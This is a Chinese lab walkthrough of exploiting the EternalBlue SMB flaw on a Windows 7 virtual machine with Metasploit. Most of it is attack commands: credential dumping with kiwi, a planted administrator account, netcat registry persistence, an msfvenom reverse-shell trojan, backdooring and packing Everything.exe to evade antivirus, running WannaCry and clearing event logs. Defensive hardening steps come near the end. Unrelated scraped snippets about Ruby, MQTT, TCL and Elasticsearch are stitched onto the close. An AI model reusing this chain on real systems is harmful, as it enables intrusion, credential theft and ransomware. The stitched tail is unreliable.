永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry程序,使全世界大范围内遭受了该程序,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。但不过在该程序出来不久就被微软通过打补丁修复了。
SMB(Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
a.前提win7关闭防火墙
不关闭防火墙有可能nmap扫描不到其端口,MSF利用不了永恒之蓝漏洞。

可以ipconfig ifconfig分别查看win7和kali中的ip地址:
win7

kali

2.用kali中的nmap 扫描网段做主机发现
IP地址:<网络号>+<主机号>


A类:10.0.0.0~10.255.255.255
B类:172.16.0.0~173.31.255.255
C类:192.168.0.0~192.168.255.255
/24就是代表24个1,即子网掩码为255.255.255.0
192.168.184.0/24 “/” 后面的数字控制前面 ip 地址的掩码,以表示后面有几位可以变。
nmap -sP 192.168.184.0/24 #sP(ping扫描)

.1 .2 .254 都是虚拟机自带的地址 130是kali本身的 138是扫出来的win7
3.用kali中的metasploit(MSF)做主机发现
msfconsole //启动MSF
use auxiliary/scanner/discovery/arp_sweep //use使用模块
set rhosts 192.168.184.0/24 //设置扫描网段
set threads 50 //提高线程
run //运行

这是以上的方法做主机发现,其实还有很多。
让他们ping一下,看看是否联通。
kali——ping——win7

win7——ping——kali

nmap -sT 扫描端口:
nmap -sT 192.168.184.138 #sT(使用TCP进行扫描)

MSF 端口扫描:
use auxiliary/scanner/portscan/tcp //使用模块
set rhosts 192.168.184.138 //设置远程ip
run

扫出来端口139 135 445 是开放的,如果没有开启防火墙的状况下是可以直接利用的(前面我们已经关掉了)
MSF 搜索永恒之蓝的漏洞 输入search ms17-010 (微软 永恒之蓝编号ms17-010)

1. blue就是永恒之蓝的漏洞
2. psexec是可利用的一个javascripe(JS)的一个模块
3. command是运行cmd的
4. 最后一个是探测的模块
a.我们先利用探测的模块看一下我们的这台win7有没有可能存在漏洞。
use auxiliary/scanner/smb/smb_ms17_010 //使用模块 use 3也可以
show options //查看要配置的参数
set rhosts 192.168.184.138 //设置远程ip
run //运行

我们扫出来是 likely 可能的 可能存在漏洞 good!
b.我们在利用永恒之蓝的模块
use exploit/windows/smb/ms17_010_eternalblue
show options
set rhosts 192.168.184.138
exploit/run
msf>命令

慢慢跑
成功!!!

运行成功会出现meterpreter >
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如进入cmd、获取屏幕、上传/下载文件、创建持久后门等。
meterpreter > shell
chcp 65001 //转换一下编码 要不然会乱码
ipconfig #查看ip
whoami #查看当前用户名称

meterpreter > screenshot #屏幕截图

查看捕获的图片:

meterpreter > upload user.txt c://

到win7看一看,果然有了。
meterpreter > download d://1.txt

kiwi模块查看密码:
使用kiwi模块需要system管理员权限:
meterpreter > load kiwi //加载kiwi模块
Loading extension kiwi...Success.
creds_all #列举所有凭据
exit #退出

k:k123456
MSF启动目标机的3389端口
windows远程连接默认是不允许连接的:

我们总不能手动在win7上允许远程连接吧,这样我们怎么能算得上Hacker呢,哈哈哈...
启动win7的3389端口即远程桌面协议,执行远程链接命令:
meterpreter > run post/windows/manage/enable_rdp //启用目标主机的3389端口远程桌面
meterpreter > idletime //查看远程用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。


在次查看win7远程:

root@kali:~# rdesktop 192.168.184.138 //使用 rdesktop 命令远程连接桌面
输入刚刚查到的账户和密码 k:k123456

连接成功!!!

由于这样我们远程登录win7用户k,在win7会把用户k顶下去:

创建用户:
所以我们要创建一个新用户用来登录:
meterpreter > shell #进入命令行
net user kill 123 /add #新建用户kill 密码123
net localgroup administrators kill /add #将用户kill添加到Win7的本地管理员组中,获得管理员权限
net user #查看用户

root@kali:~# rdesktop 192.168.184.138 //使用 rdesktop 命令远程连接桌面
但是这样也会被win7的当前用户所以提示要不要让远程用户远程连接到本机:

点击确定---kali连接到win7,点击取消kali连不上win7.

确定 :

取消:

查一查吧!!!
chat-GPT是真好用!

按照GPT的来
输入“gpedit.msc”并回车,打开本地组策略编辑器。
在组策略编辑器中依次展开“计算机配置”、“管理模板”、“Windows组件”、“远程桌面服务”和“远程桌面会话主机”。
右侧窗口中找到“限制每个用户只能有一个会话”选项,将其禁用。
保存设置并关闭组策略编辑器。

我的win7专业版好像不行。。。设置完成还是不能多用户远程登录,还是会挤掉。。。
好在找到了破解补丁!!!破解---重启!!!

重启win7 在次连接:成功!!!
kali远程连接:rdesktop 192.168.184.138
win7没有掉:

在网络工具中有“瑞士军刀”美誉的NetCat,上传nc.exe到win7。
msf上传到win7 的c盘windows下
upload /usr/share/windows-binaries/nc.exe C:\\Windows

win7看一下:
当目标机开机,程序后台运行,且监听端口为7777,这个端口可以自己设置。
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\nc.exe -Ldp 7777 -e cmd.exe'

新建一个防火墙规则,允许7777端口访问网络。可以通过reboot命令重起目标机,然后通过nc -v ip+端口进行连接。
netsh firewall add portopening TCP 7777 "kill" ENABLE ALL

对应的win7:
通过nc -v连接靶机进入控制台
nc -v 192.168.184.145 7777
whoami 查看用户是kill 因为我们是开启监听kill用户的7777,所以nc上线到的是kill用户:


MSF生成.exe的马:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.184.130 lport=4444 -f exe -o shell.exe

我们把nc军刀和生成的.exe马都上传到win7的windows下addins目录(因为这是windows的默认自带目录)
upload /root/kiss/nc.exe c:\\Windows\\addins
upload /root/kiss/shell.exe c:\\Windows\\addins
#长传 kali木马的目录 上传到目标主机的目录

查看win7下的目录:

360,火绒检测一下,肯定是报毒的:

给木马加壳:
加壳用到的工具是Shielden:


一个奇葩的事:nc军刀加壳后过火绒没过360,生成的.exe马加壳后过360没过火绒。

不过这样是不行的,因为只是没了360火绒的检测,可是还要运行.exe,运行的时候大概率还是会被杀掉的。
shellter附加:
大概意思是把木马里的代码插入到正常的可执行文件中,这样增加木马的混淆性,使其达到免杀的效果。
kali新版本已经没有了,安装命令:
apt-get update
apt-get install shellter
dpkg --add-architecture i386 && apt-get update && apt-get install wine32
我的已经下好了:

shellter:命令行启动

如果有中文乱码,是因为缺少字体,下载字体就可以了:
链接:https://pan.baidu.com/s/1Pbj_mUd3fPR7juqsjeizFA
提取码:8888
kali命令:
unzip Fonts.zip #解压.zip
cp Fonts/* ~/.wine/drive_c/windows/Fonts/ #把Fonts文件夹内所有字体复制到wine的映射目录内
打开~/.wine/drive_c/windows/Fonts,确保字体已复制(原本这个文件夹是空的)
终端输入winecfg,然后点击“显示”界面,可以发现红框处由原来的乱码变成了可显示的中文字体。

好了,正片开始:
下载文件搜索工具everything
我们用32位everything.exe,可点该链接下载
下载好以后是一个压缩包,解压之后把里面的everything.exe放到kali中

添加后门 :
启动shellter后,在选择模式后选择A,自动模式:
然后输入要加后门文件的路径:
A
/root/kiss/bao/Everything.exe

回车后等一会,要选择是否启用隐身模式这里选择N

看图填就行:

监听ip填写kali的,端口填6666就好:

回车:

这个时候木马就已经生成成功了,生成的木马替换了原本PE文件的位置,原本的PE文件存在Shellter_Backups中


Shielden加壳:
不加壳能够过360,过不了火绒:

还是要加壳滴:

加壳后:

先利用永恒之蓝把木马上传到win7中: (可以上传指更深层的目录)
upload /root/kiss/bao/Everything_se.exe c:\\

查看一下

MSF运行Everything.exe即监听成功:
先开启端口
MSF永恒之蓝运行:
shell进入cmd
开启6666端口
netsh advfirewall firewall add rule name="Open Port 6666" dir=in action=allow protocol=TCP localport=6666 enable=yes
cd 到带有木马下的目录
Everything_se.exe 运行该木马
等开启监听在运行也可以

MSF启动监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.184.138
set lport 6666
run

最后的运行:
大概就是先开启监听,然后在利用MSF永恒之蓝运行:

查看win7,发现Everything.exe在运行:

当然我们也可以给木马加入开机自启,然后MSF开启监听,直接上线到win7:
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\Everything_se.exe -Ldp 6666 -e cmd.exe'

设置完成后win7重启,在reboot重启也行.

上线MSF:成功!!!

MSF upload 上传wcry.exe 并运行:

运行即勒索:

尝试关闭wcry.exe,结果失败:

好在软件还可以进去,360,火绒扫一扫吧:

wannacry:360火绒能奈我何😊😊😊 这次是真想哭了(wannacry).....

win7 事件查看器(日志)

kali中清除
meterpreter > clearev

在次查看,都被清空了,但是还会有最后一个命令清除的日志。

win7下打开防火墙:

MSF测试 :
开启防火墙模式下---MSF发起攻击:

竟然成功了!!! (注:这是我攻击过后,在次利用MSF攻击。未被永恒之蓝攻击过开启防火墙是攻击不了的)

360和火绒:成功阻止永恒之蓝


病毒查杀nc.exe


MSF攻击:拒绝连接了

因为360 火绒起了防护作用,还把我的后门nc军刀给杀掉了。(想不被发现还要做免杀)

看来安装杀毒软件还是有用滴。(关闭360火绒还是可以攻击的)
测试工具:显示还是有永恒之蓝的。

防火墙新增入站规则:
打开防火墙的高级设置,新建入站规则:

选择端口139,455


阻止连接

作用于全部(域,专用,公用)命名为高危端口,139,445端口。

打开防火墙的入站规则查看:

关闭server服务
WIN+R 运行--services.msc

找到server服务,双击进入管理控制页面。把这个服务的启动类型更改为“禁用”,服务状态更改为“停止”,最后点击应用即可。

关闭不必要的服务:
比如 网络发现、文件传输、共享、打印、远程连接、远程桌面。

在“开始”菜单选择“运行”,输入“gpedit.msc”后回车,打开本地组策略编辑器。依次展开“计算机配置—windows设置—安全设置—ip安全策略,在 本地计算机”,右键创建ip安全策略:

填写名称:

下一步

下一步

添加

继续添加:

命名,添加,任何ip就行


确定:

筛选器新建

阻止

确定 查看:

添加139和其他端口一个道理。
MSF测试:失败

注册表方式关闭445端口,还有防火墙规则方式,cmd命令提示行关闭等等。
WIN+R 运行--regedit 进入注册表:

找到注册表项“HKEY_LOCAL_MACHINE\System\Controlset\Services\NetBT\Parameters”

选择“Parameters”项,右键单击,选择“新建”——“DWORD值”。(64位 32位根据自己系统需求)

将DWORD值重命名为“SMBDeviceEnabled”

右键修改"数值数据"的值为0(0代表关闭,1代表打开),点击确定,完成设置 。


最后重启电脑即可关闭445端口。
重启之前:netstat -ant 查看端口:

重启之后:netstat -ant 查看端口,发现没有445端口了。

445端口关闭了,肯定攻击不成功了,超时。。。
工具也因445端口关闭而连接失败,但win7还是存在永恒之蓝漏洞的。

虽然这种方法可行,但伤敌一千,自损八百。因为我们个人不一定用到445端口等文件共享,打印什么的,但是公司企业需要:
比如:企业在服务器上将某一个目录共享给企业内的员工,让他们存储及共享文件等。
这是大招了,哈哈哈。。。
补丁网站:
我们安装微软发布的2019年的补丁,也是最新的补丁, 因为微软在2020.1月的时候停止对win7的支持更新了。

win7安装补丁之前:

win7安装KB4474419补丁:


多了一个补丁:

MSF攻击:
失败

工具检测:系统安全

为了维持操作系统的安全,我们能做到的是及时更新,安装补丁,关闭不必要的服务和端口。
执行rvmlist后,我得到以下输出:rvmrubiesgems[missingbin/ruby]=*ruby-2.0.0-p645[x86_64]ruby-2.1.6[x86_64]ruby-2.2.1[x86_64]gems[missingbin/ruby]是什么意思?gems是某种系统gemset吗?它不是我创建的,我不知道我是否可以或应该删除它。 最佳答案 在我跑完之后:rvmfix-permissions然后我能够卸载具有[缺少bin/ruby]的版本。 关于ruby-如何修复
在他们的网站上找不到任何内容。我主要只是想看看哪个值得一试(当然是RIA)。谢谢 最佳答案 SproutCoredemos 关于ruby-是否有SproutCore或Cappuccino的现场演示/示例应用程序,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questions/1419788/
一、什么是MQTT协议MessageQueuingTelemetryTransport:消息队列遥测传输协议。是一种基于客户端-服务端的发布/订阅模式。与HTTP一样,基于TCP/IP协议之上的通讯协议,提供有序、无损、双向连接,由IBM(蓝色巨人)发布。原理:(1)MQTT协议身份和消息格式有三种身份:发布者(Publish)、代理(Broker)(服务器)、订阅者(Subscribe)。其中,消息的发布者和订阅者都是客户端,消息代理是服务器,消息发布者可以同时是订阅者。MQTT传输的消息分为:主题(Topic)和负载(payload)两部分Topic,可以理解为消息的类型,订阅者订阅(Su
TCL脚本语言简介•TCL(ToolCommandLanguage)是一种解释执行的脚本语言(ScriptingLanguage),它提供了通用的编程能力:支持变量、过程和控制结构;同时TCL还拥有一个功能强大的固有的核心命令集。TCL经常被用于快速原型开发,脚本编程,GUI和测试等方面。•实际上包含了两个部分:一个语言和一个库。首先,Tcl是一种简单的脚本语言,主要使用于发布命令给一些互交程序如文本编辑器、调试器和shell。由于TCL的解释器是用C\C++语言的过程库实现的,因此在某种意义上我们又可以把TCL看作C库,这个库中有丰富的用于扩展TCL命令的C\C++过程和函数,所以,Tcl是
我有一个依赖于另一个gem的gem(在RubyGems上可用)。那个依赖的gem有一个我最近修复的错误。不幸的是,那个依赖的gem几乎已经死了;它已经很多年没有更新了,而且所有者不再在GitHub上活跃,根本,更不用说提交这个gem了,所以我不希望我的补丁会被接受——肯定不会很快。鉴于此,处理此依赖gem的补丁版本的最佳方法是什么?我是否将它fork并上传一个新的gem(使用新名称)到RubyGems,并依赖它?我是否以某种方式将我的固定版本与我自己的gem打包在一起? 最佳答案 首先,检查有问题的gem的许可证(以及您的代码的许可
Facebook刚刚重新推出了具有自动语法修复功能的评论。Whatdoesthegrammarfilterdo?Addspunctuation(e.g.periodsattheendofsentences)TrimsextrawhitespaceAutocaseswords(e.g.capitalizethefirstwordofasentence)Expandsslangwords(e.g.plzbecomesplease)Addsaspaceafterpunctuation(e.g.Hi,CatwouldbecomeHi,Cat)Fixcommongrammarmistakes(e
我在尝试安装ruby和rails时遇到了很多问题。在清除以前安装的版本之后,我已经尝试过没有和现在。尝试运行“geminstallrdiscount--platform=ruby”时出现以下错误:C:\Windows\system32>geminstallrdiscount--platform=rubyTemporarilyenhancingPATHtoincludeDevKit...Buildingnativeextensions.Thiscouldtakeawhile...ERROR:Errorinstallingrdiscount:ERROR:Failedtobuildgem
开门见山|拉取镜像dockerpullelasticsearch:7.16.1|配置存放的目录#存放配置文件的文件夹mkdir-p/opt/docker/elasticsearch/node-1/config#存放数据的文件夹mkdir-p/opt/docker/elasticsearch/node-1/data#存放运行日志的文件夹mkdir-p/opt/docker/elasticsearch/node-1/log#存放IK分词插件的文件夹mkdir-p/opt/docker/elasticsearch/node-1/plugins若你使用了moba,直接右键新建即可如上图所示依次类推创建
文章目录概念索引相关操作创建索引更新副本查看索引删除索引索引的打开与关闭收缩索引索引别名查询索引别名文档相关操作新建文档查询文档更新文档删除文档映射相关操作查询文档映射创建静态映射创建索引并添加映射概念es中有三个概念要清楚,分别为索引、映射和文档(不用死记硬背,大概有个印象就可以)索引可理解为MySQL数据库;映射可理解为MySQL的表结构;文档可理解为MySQL表中的每行数据静态映射和动态映射上面已经介绍了,映射可理解为MySQL的表结构,在MySQL中,向表中插入数据是需要先创建表结构的;但在es中不必这样,可以直接插入文档,es可以根据插入的文档(数据),动态的创建映射(表结构),这就
我有以下文件结构:执行.rb图书馆我的类(class).rb在execute.rb我有下面的代码:#!/usr/bin/rubyrequire'lib/my_class'my_object=MyClass.newmy_object.some_method这是my_class.rb的代码:classMyClassdefsome_methodputs'OK'endend所以,我尝试运行execute.rb:rubyexecute.rb但是我收到这个错误:/home/vagrant/.rvm/rubies/ruby-2.0.0-p195/lib/ruby/site_ruby/2.0.0/ru